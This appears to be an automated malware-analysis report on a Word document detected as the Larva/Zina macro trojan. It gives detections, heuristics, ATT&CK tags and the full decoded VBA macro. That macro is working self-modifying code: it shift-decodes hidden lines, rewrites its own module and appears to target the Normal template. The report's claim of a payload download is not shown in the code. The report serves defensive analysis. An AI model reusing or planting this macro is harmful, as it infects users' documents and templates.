MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with multiple signatures, including Win.Trojan.Larva-1 and Doc.Trojan.Zina-2. Critical heuristics indicate the presence of a Document_Open VBA macro that executes p-code, strongly suggesting it's designed to run malicious code upon opening. The VBA script itself is heavily obfuscated but its structure and the 'Document_Open' auto-execution point indicate it's intended to download and execute a secondary payload.
Heuristics 4
-
ClamAV: Win.Trojan.Larva-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Larva-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2820 bytes |
SHA-256: 06ae3542700f98d5932b17724eae2c84e863eba9e8c9e72b5bd14978c9c327cd |
|||
|
Detection
ClamAV:
Doc.Trojan.Zina-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open(): On Error Resume Next: Application.ScreenUpdating = False
'Nk%YmnxIthzrjsy%B%Fhyn{jIthzrjsy%Ymjs%Xjy%{}%B%StwrfqYjruqfyj%Jqxj%Xjy%{}%B%Fhyn{jIthzrjsy
'\nym%{}3[GUwtojhy3[GHtrutsjsyx-6.3HtijRtizqj
'%sfo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%%%%%%%'
'%%%3GtqiWzs
'%%%3Xmfinsl3GfhplwtzsiUfyyjwsHtqtw%B%|iHtqtwGqfhp
'%%%3Xmfinsl3KtwjlwtzsiUfyyjwsHtqtw%B%|iHtqtw[ntqjy
'%%%3Htqqfuxj%Inwjhynts?B|iHtqqfuxjXyfwy
'%%Jsi%\nym
'Fhyn{jIthzrjsy3Fhyn{j\nsit|3UwnsyTzy%d
'Wfslj?B|iUwnsyKwtrYt1%Kwtr?B'6'1%Yt?B'65'
'Jsi%Nk
'Fuuqnhfynts3XhwjjsZuifynsl%B%Ywzj
End Sub
Private Sub document_close(): On Error Resume Next
For kd = 2 To 39
okod = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(kd, 1)
If Left(okod, 1) = "'" Then
desni = Right(okod, Len(okod) - 1)
ThisDocument.VBProject.VBComponents(1).CodeModule.ReplaceLine kd, desni
For s = 1 To Len(desni)
vracaj = vracaj & Chr(Asc(Mid(desni, s)) - 5)
ThisDocument.VBProject.VBComponents(1).CodeModule.ReplaceLine kd, vracaj
Next
vracaj = ""
End If
Next
Document_Open
For T = 2 To 39
nkod = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(T, 1)
If Left(nkod, 1) <> "'" Then
duzina = Len(nkod)
midl = Mid(nkod, 1, duzina)
For o = 1 To duzina
k = Left(midl, o)
k2 = Chr(Asc(Mid(k, Len(k))) + 5)
linija = linija & k2
ThisDocument.VBProject.VBComponents(1).CodeModule.ReplaceLine T, "'" & linija
Next
linija = ""
End If
Next
End Sub
'Larva
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.